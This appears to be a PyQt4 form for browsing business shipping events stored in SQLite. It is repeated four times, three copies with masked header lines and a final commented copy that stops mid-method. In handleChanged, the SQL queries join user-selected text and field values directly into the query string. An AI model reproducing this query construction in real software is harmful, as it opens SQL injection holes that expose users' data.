<mask token> class Ui_Form(object): def setupUi(self, Form): Form.setObjectName(_fromUtf8('Form')) Form.resize(666, 538) palette = QtGui.QPalette() self.eventSkip = 0 self.db = Database() brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) self.inWork = True brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) Form.setPalette(palette) self.tb_EventViewer = QtGui.QTableView(Form) self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351)) self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer')) self.tb_EventViewer.horizontalHeader().setVisible(False) self.tb_EventViewer.verticalHeader().setVisible(False) self.bt_Earlier = QtGui.QPushButton(Form) self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23)) self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier')) self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier) self.bt_Later = QtGui.QPushButton(Form) self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23)) self.bt_Later.setObjectName(_fromUtf8('bt_Later')) self.bt_Later.clicked.connect(self.clicked_bt_Later) self.label = QtGui.QLabel(Form) self.label.setGeometry(QtCore.QRect(70, 0, 511, 41)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) self.label.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8('Segoe UI Light')) font.setPointSize(18) font.setBold(True) font.setWeight(75) self.label.setFont(font) self.label.setObjectName(_fromUtf8('label')) self.cb_EventType = QtGui.QComboBox(Form) self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22)) self.cb_EventType.setObjectName(_fromUtf8('cb_EventType')) self.cb_EventType.currentIndexChanged['QString'].connect(self. handleChanged) self.label_2 = QtGui.QLabel(Form) self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21)) self.label_3 = QtGui.QLabel(Form) self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) self.label_2.setPalette(palette) self.label_3.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8('Segoe UI')) font.setPointSize(12) self.label_2.setFont(font) self.label_2.setObjectName(_fromUtf8('label_2')) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8('label_3')) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) self.initialize() def retranslateUi(self, Form): Form.setWindowTitle(_translate('Form', 'Revisit business events', None) ) self.bt_Earlier.setText(_translate('Form', '<<', None)) self.bt_Later.setText(_translate('Form', '>>', None)) self.label.setText(_translate('Form', 'Revisit business events', None)) self.label_2.setText(_translate('Form', 'Select Event Type', None)) def initialize(self): self.cb_EventType.addItems(self.getBusinessEventsType()) def getBusinessEventsType(self): conn = sqlite3.connect('../Database/Business.db') conn.text_factory = str c = conn.cursor() c.execute('SELECT Event FROM EventTypes') locs = [r[0] for r in c.fetchall()] conn.close() return locs def handleChanged(self, text): modelView = QtGui.QStandardItemModel() query = QtSql.QSqlQuery() query.exec_( "Select * from BusinessEvents a, EventTypes b where b.Event = '" + text + "' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " + str(self.eventSkip) + ',1') recCount = 0 while query.next(): recCount = recCount + 1 if query.value(2).toString() != '': query_Origin = QtSql.QSqlQuery() query_Origin.exec_("Select Name from Cities where ID = '" + query.value(2).toString() + "' LIMIT 1") query_Origin.next() modelInputItem = QtGui.QStandardItem('Origin') modelInputValue = QtGui.QStandardItem(query_Origin.value(0) .toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(3).toString() != '': query_Destination = QtSql.QSqlQuery() query_Destination.exec_( "Select Name from Cities where ID = '" + query.value(3) .toString() + "' LIMIT 1") query_Destination.next() modelInputItem = QtGui.QStandardItem('Destination') modelInputValue = QtGui.QStandardItem(query_Destination. value(0).toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(4).toString() != '': modelInputItem = QtGui.QStandardItem('Weight') modelInputValue = QtGui.QStandardItem(query.value(4).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(5).toString() != '': modelInputItem = QtGui.QStandardItem('Volume') modelInputValue = QtGui.QStandardItem(query.value(5).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(6).toString() != '': modelInputItem = QtGui.QStandardItem('Time of Entry') modelInputValue = QtGui.QStandardItem(query.value(6).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(7).toString() != '': modelInputItem = QtGui.QStandardItem('Priority') modelInputValue = QtGui.QStandardItem(query.value(7).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(8).toString() != '': modelInputItem = QtGui.QStandardItem('Price Per Gram') modelInputValue = QtGui.QStandardItem(query.value(8).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(9).toString() != '': modelInputItem = QtGui.QStandardItem('Price Per CC') modelInputValue = QtGui.QStandardItem(query.value(9).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(10).toString() != '': modelInputItem = QtGui.QStandardItem('Company') modelInputValue = QtGui.QStandardItem(query.value(10). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(11).toString() != '': modelInputItem = QtGui.QStandardItem('Transport Type') modelInputValue = QtGui.QStandardItem(query.value(11). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(12).toString() != '': modelInputItem = QtGui.QStandardItem('Day of the Week') modelInputValue = QtGui.QStandardItem(query.value(12). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(13).toString() != '': modelInputItem = QtGui.QStandardItem('Frequency') modelInputValue = QtGui.QStandardItem(query.value(13). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(14).toString() != '': modelInputItem = QtGui.QStandardItem('Duration') modelInputValue = QtGui.QStandardItem(query.value(14). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if recCount == 0: self.label_3.setText(_translate('Form', 'No Records found', None)) self.inWork = False else: self.label_3.setText(_translate('Form', '', None)) self.inWork = True self.tb_EventViewer.setModel(modelView) def clicked_bt_Earlier(self): self.eventSkip = self.eventSkip + 1 self.handleChanged(self.cb_EventType.currentText()) def clicked_bt_Later(self): if self.eventSkip > 0: self.eventSkip = self.eventSkip - 1 self.handleChanged(self.cb_EventType.currentText()) class Database: def __init__(self, parent=None): self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE') self.data.setDatabaseName('../Database/Business.db') self.data.open()
<mask token> try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_Form(object): def setupUi(self, Form): Form.setObjectName(_fromUtf8('Form')) Form.resize(666, 538) palette = QtGui.QPalette() self.eventSkip = 0 self.db = Database() brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) self.inWork = True brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) Form.setPalette(palette) self.tb_EventViewer = QtGui.QTableView(Form) self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351)) self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer')) self.tb_EventViewer.horizontalHeader().setVisible(False) self.tb_EventViewer.verticalHeader().setVisible(False) self.bt_Earlier = QtGui.QPushButton(Form) self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23)) self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier')) self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier) self.bt_Later = QtGui.QPushButton(Form) self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23)) self.bt_Later.setObjectName(_fromUtf8('bt_Later')) self.bt_Later.clicked.connect(self.clicked_bt_Later) self.label = QtGui.QLabel(Form) self.label.setGeometry(QtCore.QRect(70, 0, 511, 41)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) self.label.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8('Segoe UI Light')) font.setPointSize(18) font.setBold(True) font.setWeight(75) self.label.setFont(font) self.label.setObjectName(_fromUtf8('label')) self.cb_EventType = QtGui.QComboBox(Form) self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22)) self.cb_EventType.setObjectName(_fromUtf8('cb_EventType')) self.cb_EventType.currentIndexChanged['QString'].connect(self. handleChanged) self.label_2 = QtGui.QLabel(Form) self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21)) self.label_3 = QtGui.QLabel(Form) self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) self.label_2.setPalette(palette) self.label_3.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8('Segoe UI')) font.setPointSize(12) self.label_2.setFont(font) self.label_2.setObjectName(_fromUtf8('label_2')) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8('label_3')) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) self.initialize() def retranslateUi(self, Form): Form.setWindowTitle(_translate('Form', 'Revisit business events', None) ) self.bt_Earlier.setText(_translate('Form', '<<', None)) self.bt_Later.setText(_translate('Form', '>>', None)) self.label.setText(_translate('Form', 'Revisit business events', None)) self.label_2.setText(_translate('Form', 'Select Event Type', None)) def initialize(self): self.cb_EventType.addItems(self.getBusinessEventsType()) def getBusinessEventsType(self): conn = sqlite3.connect('../Database/Business.db') conn.text_factory = str c = conn.cursor() c.execute('SELECT Event FROM EventTypes') locs = [r[0] for r in c.fetchall()] conn.close() return locs def handleChanged(self, text): modelView = QtGui.QStandardItemModel() query = QtSql.QSqlQuery() query.exec_( "Select * from BusinessEvents a, EventTypes b where b.Event = '" + text + "' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " + str(self.eventSkip) + ',1') recCount = 0 while query.next(): recCount = recCount + 1 if query.value(2).toString() != '': query_Origin = QtSql.QSqlQuery() query_Origin.exec_("Select Name from Cities where ID = '" + query.value(2).toString() + "' LIMIT 1") query_Origin.next() modelInputItem = QtGui.QStandardItem('Origin') modelInputValue = QtGui.QStandardItem(query_Origin.value(0) .toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(3).toString() != '': query_Destination = QtSql.QSqlQuery() query_Destination.exec_( "Select Name from Cities where ID = '" + query.value(3) .toString() + "' LIMIT 1") query_Destination.next() modelInputItem = QtGui.QStandardItem('Destination') modelInputValue = QtGui.QStandardItem(query_Destination. value(0).toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(4).toString() != '': modelInputItem = QtGui.QStandardItem('Weight') modelInputValue = QtGui.QStandardItem(query.value(4).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(5).toString() != '': modelInputItem = QtGui.QStandardItem('Volume') modelInputValue = QtGui.QStandardItem(query.value(5).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(6).toString() != '': modelInputItem = QtGui.QStandardItem('Time of Entry') modelInputValue = QtGui.QStandardItem(query.value(6).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(7).toString() != '': modelInputItem = QtGui.QStandardItem('Priority') modelInputValue = QtGui.QStandardItem(query.value(7).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(8).toString() != '': modelInputItem = QtGui.QStandardItem('Price Per Gram') modelInputValue = QtGui.QStandardItem(query.value(8).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(9).toString() != '': modelInputItem = QtGui.QStandardItem('Price Per CC') modelInputValue = QtGui.QStandardItem(query.value(9).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(10).toString() != '': modelInputItem = QtGui.QStandardItem('Company') modelInputValue = QtGui.QStandardItem(query.value(10). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(11).toString() != '': modelInputItem = QtGui.QStandardItem('Transport Type') modelInputValue = QtGui.QStandardItem(query.value(11). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(12).toString() != '': modelInputItem = QtGui.QStandardItem('Day of the Week') modelInputValue = QtGui.QStandardItem(query.value(12). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(13).toString() != '': modelInputItem = QtGui.QStandardItem('Frequency') modelInputValue = QtGui.QStandardItem(query.value(13). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(14).toString() != '': modelInputItem = QtGui.QStandardItem('Duration') modelInputValue = QtGui.QStandardItem(query.value(14). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if recCount == 0: self.label_3.setText(_translate('Form', 'No Records found', None)) self.inWork = False else: self.label_3.setText(_translate('Form', '', None)) self.inWork = True self.tb_EventViewer.setModel(modelView) def clicked_bt_Earlier(self): self.eventSkip = self.eventSkip + 1 self.handleChanged(self.cb_EventType.currentText()) def clicked_bt_Later(self): if self.eventSkip > 0: self.eventSkip = self.eventSkip - 1 self.handleChanged(self.cb_EventType.currentText()) class Database: def __init__(self, parent=None): self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE') self.data.setDatabaseName('../Database/Business.db') self.data.open()
from PyQt4 import QtCore, QtGui, QtSql import sqlite3 try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_Form(object): def setupUi(self, Form): Form.setObjectName(_fromUtf8('Form')) Form.resize(666, 538) palette = QtGui.QPalette() self.eventSkip = 0 self.db = Database() brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) self.inWork = True brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) Form.setPalette(palette) self.tb_EventViewer = QtGui.QTableView(Form) self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351)) self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer')) self.tb_EventViewer.horizontalHeader().setVisible(False) self.tb_EventViewer.verticalHeader().setVisible(False) self.bt_Earlier = QtGui.QPushButton(Form) self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23)) self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier')) self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier) self.bt_Later = QtGui.QPushButton(Form) self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23)) self.bt_Later.setObjectName(_fromUtf8('bt_Later')) self.bt_Later.clicked.connect(self.clicked_bt_Later) self.label = QtGui.QLabel(Form) self.label.setGeometry(QtCore.QRect(70, 0, 511, 41)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) self.label.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8('Segoe UI Light')) font.setPointSize(18) font.setBold(True) font.setWeight(75) self.label.setFont(font) self.label.setObjectName(_fromUtf8('label')) self.cb_EventType = QtGui.QComboBox(Form) self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22)) self.cb_EventType.setObjectName(_fromUtf8('cb_EventType')) self.cb_EventType.currentIndexChanged['QString'].connect(self. handleChanged) self.label_2 = QtGui.QLabel(Form) self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21)) self.label_3 = QtGui.QLabel(Form) self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) self.label_2.setPalette(palette) self.label_3.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8('Segoe UI')) font.setPointSize(12) self.label_2.setFont(font) self.label_2.setObjectName(_fromUtf8('label_2')) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8('label_3')) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) self.initialize() def retranslateUi(self, Form): Form.setWindowTitle(_translate('Form', 'Revisit business events', None) ) self.bt_Earlier.setText(_translate('Form', '<<', None)) self.bt_Later.setText(_translate('Form', '>>', None)) self.label.setText(_translate('Form', 'Revisit business events', None)) self.label_2.setText(_translate('Form', 'Select Event Type', None)) def initialize(self): self.cb_EventType.addItems(self.getBusinessEventsType()) def getBusinessEventsType(self): conn = sqlite3.connect('../Database/Business.db') conn.text_factory = str c = conn.cursor() c.execute('SELECT Event FROM EventTypes') locs = [r[0] for r in c.fetchall()] conn.close() return locs def handleChanged(self, text): modelView = QtGui.QStandardItemModel() query = QtSql.QSqlQuery() query.exec_( "Select * from BusinessEvents a, EventTypes b where b.Event = '" + text + "' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " + str(self.eventSkip) + ',1') recCount = 0 while query.next(): recCount = recCount + 1 if query.value(2).toString() != '': query_Origin = QtSql.QSqlQuery() query_Origin.exec_("Select Name from Cities where ID = '" + query.value(2).toString() + "' LIMIT 1") query_Origin.next() modelInputItem = QtGui.QStandardItem('Origin') modelInputValue = QtGui.QStandardItem(query_Origin.value(0) .toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(3).toString() != '': query_Destination = QtSql.QSqlQuery() query_Destination.exec_( "Select Name from Cities where ID = '" + query.value(3) .toString() + "' LIMIT 1") query_Destination.next() modelInputItem = QtGui.QStandardItem('Destination') modelInputValue = QtGui.QStandardItem(query_Destination. value(0).toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(4).toString() != '': modelInputItem = QtGui.QStandardItem('Weight') modelInputValue = QtGui.QStandardItem(query.value(4).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(5).toString() != '': modelInputItem = QtGui.QStandardItem('Volume') modelInputValue = QtGui.QStandardItem(query.value(5).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(6).toString() != '': modelInputItem = QtGui.QStandardItem('Time of Entry') modelInputValue = QtGui.QStandardItem(query.value(6).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(7).toString() != '': modelInputItem = QtGui.QStandardItem('Priority') modelInputValue = QtGui.QStandardItem(query.value(7).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(8).toString() != '': modelInputItem = QtGui.QStandardItem('Price Per Gram') modelInputValue = QtGui.QStandardItem(query.value(8).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(9).toString() != '': modelInputItem = QtGui.QStandardItem('Price Per CC') modelInputValue = QtGui.QStandardItem(query.value(9).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(10).toString() != '': modelInputItem = QtGui.QStandardItem('Company') modelInputValue = QtGui.QStandardItem(query.value(10). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(11).toString() != '': modelInputItem = QtGui.QStandardItem('Transport Type') modelInputValue = QtGui.QStandardItem(query.value(11). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(12).toString() != '': modelInputItem = QtGui.QStandardItem('Day of the Week') modelInputValue = QtGui.QStandardItem(query.value(12). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(13).toString() != '': modelInputItem = QtGui.QStandardItem('Frequency') modelInputValue = QtGui.QStandardItem(query.value(13). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(14).toString() != '': modelInputItem = QtGui.QStandardItem('Duration') modelInputValue = QtGui.QStandardItem(query.value(14). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if recCount == 0: self.label_3.setText(_translate('Form', 'No Records found', None)) self.inWork = False else: self.label_3.setText(_translate('Form', '', None)) self.inWork = True self.tb_EventViewer.setModel(modelView) def clicked_bt_Earlier(self): self.eventSkip = self.eventSkip + 1 self.handleChanged(self.cb_EventType.currentText()) def clicked_bt_Later(self): if self.eventSkip > 0: self.eventSkip = self.eventSkip - 1 self.handleChanged(self.cb_EventType.currentText()) class Database: def __init__(self, parent=None): self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE') self.data.setDatabaseName('../Database/Business.db') self.data.open()
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'KPS_RevisitBusinessEvents.ui' # # Created: Sun May 18 14:50:49 2014 # by: PyQt4 UI code generator 4.10.4 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui, QtSql import sqlite3 try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_Form(object): def setupUi(self, Form): Form.setObjectName(_fromUtf8("Form")) Form.resize(666, 538) palette = QtGui.QPalette() self.eventSkip = 0; self.db = Database() brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) self.inWork = True brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) Form.setPalette(palette) self.tb_EventViewer = QtGui.QTableView(Form) self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351)) self.tb_EventViewer.setObjectName(_fromUtf8("tb_EventViewer")) self.tb_EventViewer.horizontalHeader().setVisible(False) self.tb_EventViewer.verticalHeader().setVisible(False) # self.tb_EventViewer.setColumnCount(0) # self.tb_EventViewer.setRowCount(0) self.bt_Earlier = QtGui.QPushButton(Form) self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23)) self.bt_Earlier.setObjectName(_fromUtf8("bt_Earlier")) self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier) self.bt_Later = QtGui.QPushButton(Form) self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23)) 